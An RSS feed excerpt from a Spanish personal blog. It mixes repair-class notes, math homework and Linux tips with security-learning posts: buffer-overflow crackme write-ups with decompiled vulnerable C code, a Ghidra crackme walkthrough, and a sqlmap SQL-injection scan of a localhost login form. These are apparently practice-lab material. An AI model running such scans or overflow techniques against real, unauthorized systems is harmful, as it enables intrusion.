au BufReadPre *.bin let &bin=1
au BufReadPost *.bin if &bin | %!xxd
au BufReadPost *.bin set ft=xxd | endif
au BufWritePre *.bin if &bin | %!xxd -r
au BufWritePre *.bin endif
au BufWritePost *.bin if &bin | %!xxd
au BufWritePost *.bin set nomod | endif
augroup END
</code></pre><p>Primero creá tu archivo <code>.txt</code> luego pasalo a <code>.bin</code></p>
-
Cónicas (Geometria II)
https://imlauera.github.io/post/conicas_geometriaii/
Tue, 13 Aug 2024 21:43:12 -0300
https://imlauera.github.io/post/conicas_geometriaii/
<h2 id="circunferencia">Circunferencia</h2>
<h4 id="consigna-1-encontrar-la-ecuación-canónica-de-la-circunferencia">Consigna 1. Encontrar la ecuación canónica de la circunferencia:</h4>
<p>a. con radio 5/2 y de centro (-1;2)</p>
<p>La ecuación canónica de la circunferencia es: $$ (x-h)^2+(y-k)^2=r^2 $$</p>
<p>Entonces para este caso sería: $$ (x+1)^2+(y-2)^2=(5/2)^2 $$</p>
<p>b. con centro C(5;-2) y que pase por el punto (-1;5)
Tenemos que hacer que pase por ese centro y evaluarla en el punto <code>(-1;5)</code>
$$ (x+1)^2+(y-5)^2=r^2 $$</p>
<p>c. cuyos gráficos son los siguientes:</p>
-
El diseño de YouTube es demasiado lento. Tips para que cargue más rapido
https://imlauera.github.io/post/trucos_youtube_cargue_rapido/
Sun, 11 Aug 2024 18:43:12 -0300
https://imlauera.github.io/post/trucos_youtube_cargue_rapido/
<p>Podés usar alguna instancia de invidious: <a href="https://redirect.invidious.io">https://redirect.invidious.io</a> es lo mismo que youtube pero un diseño más ligero y respetuoso con el usuario o <a href="https://piped.video">https://piped.video</a> (que no siempre funciona bien)</p>
<h4 id="otra-opción">Otra opción:</h4>
<p>Bajate una extensión <a href="https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg">User-Agent Switcher</a> permití la extensión en modo privado y en las opciones de la extensión en Custom Mode agregá:</p>
<pre tabindex="0"><code>{
"youtube.com": "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.154 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"twitch.tv":"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.154 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"twitch.com":"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.154 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
}
</code></pre><p>Guardalo, ahora YouTube y Twitch creerá que visitás la página desde un Android.</p>
-
Configurar la hora y la fecha desde Internet en Arch
https://imlauera.github.io/post/como_configuro_la_hora_y_la_fecha_desde_internet/
Sun, 11 Aug 2024 18:15:20 -0300
https://imlauera.github.io/post/como_configuro_la_hora_y_la_fecha_desde_internet/
<pre tabindex="0"><code>sudo pacman -S ntp
timedatectl set-ntp true
sudo vim /etc/ntp.conf
server pool.ntp.org
sudo ntpdate pool.ntp.org
sudo systemctl enable ntpd
sudo systemctl start ntpd
</code></pre><pre tabindex="0"><code>sudo ntpd -qg; sudo hwclock -w
</code></pre>
-
Subir archivo desde la terminal
https://imlauera.github.io/post/subir_archivo_desde_la_terminal/
Sat, 10 Aug 2024 18:25:47 -0300
https://imlauera.github.io/post/subir_archivo_desde_la_terminal/
<pre tabindex="0"><code>wget --quiet -O- --post-file=append_input_to_file.c 'https://paste.c-net.org/'
curl --silent --data-binary @append_input.c https://paste.c-net.org
</code></pre>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 6) - Presión. Manómetro. PCI. Pascal.
https://imlauera.github.io/post/6ta_instalacion_aires/
Sat, 10 Aug 2024 18:13:02 -0300
https://imlauera.github.io/post/6ta_instalacion_aires/
<h4 id="audio-de-la-clase">Audio de la clase</h4>
<p><a href="https://youtu.be/tfCzHKKO6IQ">https://youtu.be/tfCzHKKO6IQ</a></p>
<h4 id="o-miralo-en-una-instancia-de-invidious-lo-mismo-pero-más-ligero-y-sin-publicidad">O miralo en una instancia de invidious (lo mismo pero más ligero y sin publicidad)</h4>
<p><a href="https://redirect.invidious.io/watch?v=tfCzHKKO6IQ">https://redirect.invidious.io/watch?v=tfCzHKKO6IQ</a></p>
<hr>
<p>Manómetro es un instrumento de medida de presión en fluidos líquidos y gaseosos en un circuito cerrado.
Mide la diferencia entre presión real o absoluta y la presión atmosférica, llamándose a este valor presión manométrica.
A este tipo de manómetro se lo conoce como manómetro de presión. Lo que hace es comparar la presión atmosférica (la de afuera de la atmósfera) con la de adentro del circuito por donde circula el fluido.
Por eso se dice que los manómetros miden la presión relativa.
La presión manométrica es la presión relativa a la presión atmosférica.
La presión manométrica es la presión positiva para presiones por encima de la presión atmosférica por y negativa para presión debajo de ellas.
La presión absoluta es la suma de la presión manométrica y la presión atmosférica recordando que la presión se define como la fuerza por unidad de superficie que ejerce un líquido a un gas perpendicularmente a dicha superficie.</p>
-
[AUDIO][APUNTE] Taller reparacion electrodomesticos (Clase 6) - Relay. Triac: corriente alterna. Mosfet: continua y alterna?. Contactora. Varistor. Termistor. Fuentes. Puente Rectificador. Mosfet. Soldador no funcionó.
https://imlauera.github.io/post/taller_reparacion_electrodomesticos6/
Thu, 08 Aug 2024 20:45:09 -0300
https://imlauera.github.io/post/taller_reparacion_electrodomesticos6/
<h4 id="audio-de-la-clase">Audio de la clase</h4>
<p><a href="https://youtu.be/4LCbuu2Wa_4">https://youtu.be/4LCbuu2Wa_4</a></p>
<p><a href="https://voca.ro/1m9YA0YHQNHw">https://voca.ro/1m9YA0YHQNHw</a></p>
<p>O miralo en una instancia de invidious: <a href="https://redirect.invidious.io/watch?v=4LCbuu2Wa_4">https://redirect.invidious.io/watch?v=4LCbuu2Wa_4</a></p>
<p><img src="https://imlauera.github.io/img/6ta_clase_electro/IMG_20240808_150958712.jpg" alt="">
<img src="https://imlauera.github.io/img/6ta_clase_electro/IMG_20240808_153826709.jpg" alt="">
<img src="https://imlauera.github.io/img/6ta_clase_electro/IMG_20240808_153613841.jpg" alt="">
<img src="https://imlauera.github.io/img/6ta_clase_electro/IMG_20240808_165602100.jpg" alt="">
<img src="https://imlauera.github.io/img/6ta_clase_electro/IMG_20240808_171255203.jpg" alt="">
<img src="https://imlauera.github.io/img/6ta_clase_electro/IMG_20240808_172118414.jpg" alt="">
<img src="https://imlauera.github.io/img/6ta_clase_electro/fuente_sin_transformador.jpg" alt="">
<img src="https://imlauera.github.io/img/6ta_clase_electro/IMG_20240808_172556719.jpg" alt=""></p>
<h5 id="problemas-comunes">Problemas comunes.</h5>
<p>Placa electrónica de un televisor: tal circuito integrado no está aguantando, por problemas de temperatura muchas veces se repiten.</p>
<p>Consumo es la potencia.</p>
<p>Para la fuente tengo que tener dos conductores: fase y neutro.</p>
<p>Si yo tengo algo que no anda lo primero que tengo que medir es <strong>continuidad</strong></p>
<p>Puedo tener un switch, un pulsador, si es algo que está en paralelo a no ser que esté en corto NO ME VA A QUITAR la continuidad.</p>
-
Explicación de todos los exámenes de buffer overflow de Ricardo Narvaja Reversing
https://imlauera.github.io/post/ricardo_narvaja_cracking/
Thu, 08 Aug 2024 06:01:01 -0300
https://imlauera.github.io/post/ricardo_narvaja_cracking/
<p>Todos sus videos consisten en explotar diferentes tipos de buffer overflows en programas 32 bits, y me parece que a veces se enfoca demasiado en la utilización de la herramienta IDA en lugar de explicar primero lo más importante que es: ¿por qué la aplicación es vulnerable a esos ataques? Si se entiende eso, se tiene una mejor intuición de como funciona. Estoy hablando específicamente de los cursos que tiene en su canal Ricardo Narvaja. Otra cosa es que no muestra el código C vulnerable, creo que si mostrara el código C vulnerable sería más entendible. Claramente no está hecho para principiantes, parece que hizo esos videos para no olvidarse de los métodos que usa no con el objetivo de enseñar, es muy improvisado. De todas formas es valiosa la información.</p>
-
Buffer overflow exámen 5 (Ricardo Narvaja Reversing)
https://imlauera.github.io/post/bufferoverflow_5/
Wed, 07 Aug 2024 18:31:16 -0300
https://imlauera.github.io/post/bufferoverflow_5/
<p>Lo que el decompilador de IDA me generó con algunas modificaciones.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">check</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>buffer)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Copia el buffer a partir de la posición 216 al comienzo del buffer a partir de la posición 4.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 11 caracteres insertando al buffer
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 4+4+11 = 19
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> savedregs;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 199 -4 + 11
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sprintf</span>(<span style="color:#f92672">&</span>buffer[<span style="color:#ae81ff">4</span>], <span style="color:#e6db74">"Bien ? con %s"</span>, buffer <span style="color:#f92672">+</span> <span style="color:#ae81ff">216</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 52-19 = 33
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// La posición 33 del archivo example.txt tiene que ser igual a el hexadecimal 45 ('E').
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( buffer[<span style="color:#ae81ff">52</span>] <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0x45</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Mal camino </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( buffer[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0xD</span> )
</span></span><span style="display:flex;"><span> buffer[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"valor= %x</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, buffer[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"number= %x</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, buffer[<span style="color:#ae81ff">204</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 51-19 = 32
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// La posición 32 del archivo example.txt tiene que ser igual a el hexadecimal 44.
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> buffer[<span style="color:#ae81ff">51</span>] <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0x46</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Noooo, %x </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, buffer[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">+</span> buffer[<span style="color:#ae81ff">204</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Aprobaste level 5"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">getchar</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>buffer <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">416</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> buffer[<span style="color:#ae81ff">51</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> buffer[<span style="color:#ae81ff">52</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">'E'</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Inicializa el buffer
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&</span>buffer[<span style="color:#ae81ff">216</span>], <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">200</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&</span>buffer[<span style="color:#ae81ff">4</span>], <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">200</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> buffer[<span style="color:#ae81ff">53</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"example.txt"</span>, <span style="color:#e6db74">"rb"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>buffer[<span style="color:#ae81ff">53</span>] )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"No se puede leer el archivo bye bye </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Carga a partir de la posición 216 el contenido del archivo.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 216-53 = 163
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 216+163 = 379
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 416-216 = 200
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fread</span>(<span style="color:#f92672">&</span>buffer[<span style="color:#ae81ff">216</span>], <span style="color:#ae81ff">200</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>), <span style="color:#ae81ff">1</span><span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>), buffer[<span style="color:#ae81ff">53</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Copia el buffer a partir de la posición 216 al comienzo del buffer a partir de la posición 4
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(<span style="color:#f92672">&</span>buffer[<span style="color:#ae81ff">4</span>], <span style="color:#f92672">&</span>buffer[<span style="color:#ae81ff">216</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// El carácter de la posición 47 del texto example.txt tiene que ser igual 1
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( buffer[<span style="color:#ae81ff">51</span>] <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Mal </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, buffer);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check</span>(buffer);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Primero pasamos el primer if.
Agregamos las 4 As al comienzo para saber cual es la posición 51, hasta 190 caracteres.</p>
-
Edward Snowden: Vigilancia Masiva
https://imlauera.github.io/post/edward_snowden/
Wed, 07 Aug 2024 17:34:23 -0300
https://imlauera.github.io/post/edward_snowden/
<h4 id="video">Video:</h4>
<p><a href="https://m.youtube.com/watch?v=xTgF3mx20E0">https://m.youtube.com/watch?v=xTgF3mx20E0</a></p>
<p>O miralo en una instancia de invidious: <a href="https://redirect.invidious.io/watch?v=xTgF3mx20E0">https://redirect.invidious.io/watch?v=xTgF3mx20E0</a></p>
<p>En mi posición final trabajando directamente con las herramientas de vigilancia masiva de la NSA, puedo ver los correos de todas las personas puedo ver todos tus mensajes, los chicos con los que estoy trabajando giran su monitor para mostrarme las fotos desnudas de la esposa del tipo que están espiando y dicen “bonus!” XD.
Pero luego veo un video de un niño en el regazo de su padre golpeando el teclado y ellos no entienden lo que estaba pasando pero el niño miró a la cámara y sentí que me estaba mirando a mi. Y es impactante porque cuando hablamos de vigilancia hablamos de cosas que no se sienten reales, me dí cuenta que todos los sistemas robaron y están robando no sólo la memoria de una persona pero de todas todo el tiempo, así que yo me levanté de la silla y no intenté prender fuego la NSA, no publiqué ningún documentos se lo dí a los periodistas y hay algo muy complicado de por qué y en donde y donde las líneas están, pero yo no quería decir: esta es la manera de que el mundo debería ser quería dártelo a vos, quería decir: esto es lo que está pasando, la pregunta para vos es como querés vivir hoy. Nosotros estamos siendo usados en contra de nuestro futuro, estamos siendo usados en contra de nuestros hijos todo lo que hacemos <strong>ahora dura para siempre</strong>. No porque nosotros queremos recordarlo pero porque nosotros no estamos permitios a olvidar.</p>
-
Explotando buffer overflows: copia un buffer de 200 bytes a otro del mismo tamaño pero con una string agregada.
https://imlauera.github.io/post/bufferoverflow_4/
Wed, 07 Aug 2024 13:37:58 -0300
https://imlauera.github.io/post/bufferoverflow_4/
<p>El overflow se produce porque tenemos dos buffers de 200, tenemos un sprintf toma un buffer de 200 y le agrega un texto y lo guarda en el otro buffer de 200. Entonces como la otra puede ser cercana a 200 (200 menos el byte del <code>'\0'</code>), va a haber un overflow.</p>
<h3 id="una-posible-primer-solución-no-funciona-en-este-caso">Una posible primer solución (no funciona en este caso)</h3>
<p>Dos buffers de 200 bytes. Llenamos el buffer con 200, strcpy copiará hasta donde encuentre un 0 y como el store de bp no puede ser 0 porque guarda el valor de bp de la función padre entonces esa dirección va a pendear(concatenar) y la va a copiar al buffer de destino y podemos producir un overflow por no poner un 0 final en la string, porque como estamos leyendo de un archivo de texto binario podemos poner cualquier byte y los 200 puede ser todas As y no necesariamente terminar en 0, entonces luego al copiarlo se copian las 200 As más cualquier cosa que haya a continuación hasta que encuentre un 0.</p>
-
Fin de bloqueadores de publicidad en Chrome
https://imlauera.github.io/post/fin_bloqueador_publicidad/
Wed, 07 Aug 2024 13:05:19 -0300
https://imlauera.github.io/post/fin_bloqueador_publicidad/
<p><img src="https://imlauera.github.io/img/ads/chrome_end.png" alt=""></p>
<blockquote>
<p>Esta extensión dentro de poco no será soportada porque no sigue las mejores prácticas para las extensiones de Chrome.</p>
</blockquote>
<p>Alternativas: Firefox, Floorp (un fork de firefox japonés que es BASTANTE rápido), Brave.</p>
-
Explotando buffer overflow provocado por copiar un buffer de 300 a uno de 200
https://imlauera.github.io/post/bufferoverflow_3/
Wed, 07 Aug 2024 07:24:45 -0300
https://imlauera.github.io/post/bufferoverflow_3/
<p>Lo único que hacemos es pisar la variable que está abajo del buffer de 200 porque copia el contenido del buffer de 200 a un buffer de 300. Le ponemos de valor 0 a la variable que está debajo del buffer de 200 porque hace esta comparación <code>cmp ptr [eax+0C8h],0</code> para ganar el reto. En donde <code>0C8h</code> es un offset que hace referencia a una variable que está dentro de estructura en donde está también declarado el buffer. <br>
Algo así sería en C:</p>
-
Explotando el típico buffer overflow copia un buffer mas grande a uno más chico.
https://imlauera.github.io/post/bufferoverflow_strcpy/
Wed, 07 Aug 2024 06:03:47 -0300
https://imlauera.github.io/post/bufferoverflow_strcpy/
<p>Lee 210 de un archivo en el 1er buffer, pero en el 2do buffer está el overflow porque <code>Dst</code>(Destination) es un buffer de 200 bytes. Le pasa un puntero, o sea la dirección del buffer Dst a la función <code>check</code>.</p>
<p>Si en una función se pasa un puntero y a partir de esa dirección se le suma un offset y se encuentran valores para comparar o distintos campos, sabemos que ahí hay una estructura, podría haber una estructura que abarque todas las variables de la primera función.</p>
-
Explotando un buffer overflow provocado al querer restringir/comparar el tamaño del buffer sin considerar el signo.
https://imlauera.github.io/post/buffer_overflow_curso1/
Tue, 06 Aug 2024 16:59:15 -0300
https://imlauera.github.io/post/buffer_overflow_curso1/
<p>Archivo del examen: <code>EXAMEN_LEVEL_1b.7z</code>
<a href="https://imlauera.github.io/CRACKING.7z">EXAMENES LA CONTRASEÑA es A</a></p>
<p>O descargalo desde acá: <a href="http://ricardonarvaja.info/WEB/IDA%20DESDE%20CERO/EXAMENES/EXAMENES%20Password=a.7z">http://ricardonarvaja.info/WEB/IDA%20DESDE%20CERO/EXAMENES/EXAMENES%20Password=a.7z</a></p>
<p>La comparación se realizó con <code>jl</code>.
Luego pisamos la variable <code>numero_random</code> con <code>44434241</code> que luego se xorea con la variable <code>numero_2</code> que es 0, y eso hará que pasemos el nivel.</p>
<h5 id="inicio">Inicio</h5>
<p>Concepto fundamental: Qué es un offset?</p>
<blockquote>
<p>En informática, un offset dentro de un array u otra estructura de datos es un entero que indica la distancia (desplazamiento) desde el inicio del objeto hasta un punto o elemento dado, presumiblemente dentro del mismo objeto. El concepto de distancia es solamente válido si todos los elementos del objeto son del mismo tamaño (típicamente dados en bytes o palabras).</p>
-
Reversing CrackMe simple con el decompilador de Ghidra
https://imlauera.github.io/post/ghidra/
Tue, 06 Aug 2024 07:37:45 -0300
https://imlauera.github.io/post/ghidra/
<p>Instalá ghidra: <code>sudo apt install -y ghidra</code>
O lo podés descargar e instalar desde acá: <a href="https://github.com/NationalSecurityAgency/ghidra">https://github.com/NationalSecurityAgency/ghidra</a></p>
<p>Descargá el archivo del desafío <code>unlock_me1</code>, acá: <a href="https://secur3.us/GhidraFiles/unlock_me1">https://secur3.us/GhidraFiles/unlock_me1</a></p>
<p>Los pasos básicos para afrontar un desafío como este son:</p>
<ol>
<li>Crea un proyecto Ghidra e importa el programa de desafío.</li>
<li>Abrí <code>unlock_me1</code> en CodeBrowser e inicia el análisis automático.</li>
<li>Busca la función principal (primer argumento de <code>__libc_start_main()</code></li>
<li>Renombra el nombre de las variables y funciones hasta que comprendas la lógica.</li>
<li>Reconstruí la lógica utilizada para verificar los códigos de entrada.</li>
<li>Genere y pruebe un código de entrada válido.</li>
</ol>
<h3 id="encontrando-el-main">Encontrando el main</h3>
<p>Después de importar y analizar <code>unlock_me1</code>, necesitarás ubicar el punto de entrada para la función. Para una aplicación libc como ésta, <code>__libc_start_main()</code> se utiliza para cargar <code>main()</code> dentro de un entorno apropiado. Puedes encontrar esto en el binario usando el método abreviado de teclado ‘G’ desde la vista de listado de Ghidra para <code>unlock_me1</code> y saltando a <code>__libc_start_main()</code> que se encontrará como una función Thunked como se muestra aquí:</p>
-
Generadores de sitios estaticos
https://imlauera.github.io/post/generadores_de_sitios_estaticos/
Tue, 06 Aug 2024 04:44:55 -0300
https://imlauera.github.io/post/generadores_de_sitios_estaticos/
<p>WordPress es el demonio. Todos los generadores de sitios webs estáticos son superiores.
Actualmente para este blog estoy usando <strong>Hugo</strong> y funciona bastante bien, pero lo ideal sería simplemente generar la página usando un makefile.</p>
<p>Un sitio creado usando un simple <code>makefile</code>: <a href="https://pablo.rauzy.name/">https://pablo.rauzy.name/</a></p>
<blockquote>
<p>Mi sitio web personal (<code>https://pablo.rauzy.name/</code>) solía generarse mediante un simple Makefile. Luego agregué funciones como noticias y un canal RSS, una forma de enumerar automáticamente mis publicaciones de investigación y materiales de cursos, una lista de libros filtrables con etiquetas, etc. Así que ahora sigue siendo un Makefile, pero el Makefile en sí es un poco más simple que antes. solía serlo, pero llama a algunos scripts Bash que en particular hacen uso de las increíbles utilidades <code>xml2</code> y <code>2xml</code> para poder manipular HTML de manera orientada a líneas usando las utilidades principales (grep y sed principalmente). Además de eso, tengo algunos ganchos de git que llaman a make automáticamente cuando es necesario, en particular en el servidor remoto donde está alojado el sitio web para que la versión pública se reconstruya cuando envío actualizaciones al repositorio allí. ¡Ha estado funcionando a las mil maravillas durante años! Mi historial de git se remonta a 2009.</p>
-
El mejor navegador de consola con visor de imágenes
https://imlauera.github.io/post/w3m/
Mon, 05 Aug 2024 05:36:57 -0300
https://imlauera.github.io/post/w3m/
<p>El mejor navegador de consola con soporte JavaScript hasta la fecha es <strong>Carbonyl</strong>, pero es demasiado pesado a comparación de w3m que todavía puede mostrar muchas páginas. Hubo un intento por implementar javascript en w3m pero se abandonó el proyecto (w3m-js).</p>
<p>Se navega usando flechas, tab, y las keybinding de vim.
Si querés buscar algo en la página se hace con <code>/</code> seguido de la palabra, n para la siguiente ocurrencia.<br>
Shift+t para abrir nueva pestaña. <br>
Shift+b para volver atrás. <br>
Shift+[ para moverse entre las pestañas.<br>
Shift+u para cambiar de url.<br>
Control+h para ver el historial.<br>
H mayúscula para ver el menú de ayuda.</p>
-
Ataques de SQL Injection en formularios con Sqlmap
https://imlauera.github.io/post/sqlmap/
Mon, 05 Aug 2024 00:49:00 -0300
https://imlauera.github.io/post/sqlmap/
<pre tabindex="0"><code>git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
</code></pre><p>Podemos ver que se está realizando una solicitud POST a este punto final:</p>
<pre tabindex="0"><code>python3 sqlmap.py -u 'http://localhost:3000/rest/user/login' --data="[email protected]&password=test" --level 5 --risk 3 -f --banner --ignore-code 401 --dbms='sqlite' --technique=B
</code></pre><ul>
<li>
<p><code>-u</code> es la opción que nos permite dictar a qué punto final queremos que sqlmap apunte</p>
</li>
<li>
<p><code>--data</code> es la opción utilizada para especificar nuestro formato de datos POST separados por el separador &</p>
</li>
<li>
<p><code>--level 5</code> y <code>--risk 3</code> son opciones que determinan los tipos de payloads y técnicas que utiliza sqlmap contra el objetivo. Cuanto más alto sea el nivel, más solicitudes y pruebas más detalladas obtendrás. Esto tiene pros y contras, y puedes consultar mis hojas de trucos para obtener más información al respecto.</p>
-
Preguntas de examen de instalación reparación aires acondicionados
https://imlauera.github.io/post/examenes_aires_acondicionados/
Sun, 04 Aug 2024 05:56:39 -0300
https://imlauera.github.io/post/examenes_aires_acondicionados/
<p><img src="https://imlauera.github.io/img/15_clase_aires/IMG-20241026-WA0000.jpg" alt="Tabla de capacitores"></p>
<p><img src="https://imlauera.github.io/img/claseaire13/IMG_20241005_100056047.jpg" alt="Placa relay">
<strong>Placa a relay y pulsos conectada:</strong>
FOTOS (Conexión placa de ventilador exterior y ventilador interior): <a href="https://imlauera.github.io/clase21_aires/">https://imlauera.github.io/clase21_aires/</a></p>
<p>FOTOS: <a href="https://imlauer.blogspot.com/2024/12/clase-22-aire-acondicionado-inverter.html">https://imlauer.blogspot.com/2024/12/clase-22-aire-acondicionado-inverter.html</a></p>
<p>FOTOS: <a href="https://imlauer.blogspot.com/2024/11/clase-20-aires-acondicionados-placa-con.html">https://imlauer.blogspot.com/2024/11/clase-20-aires-acondicionados-placa-con.html</a></p>
<p><strong>Al faltar refrigerate congela el caño de salida.</strong></p>
<p><strong>Diferencia inverter y convencional:</strong> <a href="https://imlauera.github.io/convencional_vs_inverter/">https://imlauera.github.io/convencional_vs_inverter/</a></p>
<p>Cuando el equipo recién arranque se va a descompensar y quedará en 0 o -30 y recién empieza a subir por eso hay que esperar 5 minutos para que vuelva a circular refrigerante y ahí recién empieza a enfriar. <strong>Esto no sucede en el inverter porque el refrigerante está todo el tiempo circulando porque no para.</strong></p>
-
Como descargar cualquier video de cualquier pagina
https://imlauera.github.io/post/como_descargar_cualquier_video_de_cualquier_pagina/
Sun, 04 Aug 2024 04:05:14 -0300
https://imlauera.github.io/post/como_descargar_cualquier_video_de_cualquier_pagina/
<h4 id="jdownloader">JDownloader</h4>
<p>MacOS, Windows, Linux: <a href="https://jdownloader.org/download/index">https://jdownloader.org/download/index</a></p>
<h4 id="yt-dlp">yt-dlp</h4>
<p><a href="https://github.com/yt-dlp/yt-dlp">https://github.com/yt-dlp/yt-dlp</a></p>
-
Como habilitar recursos compartidos de Windows
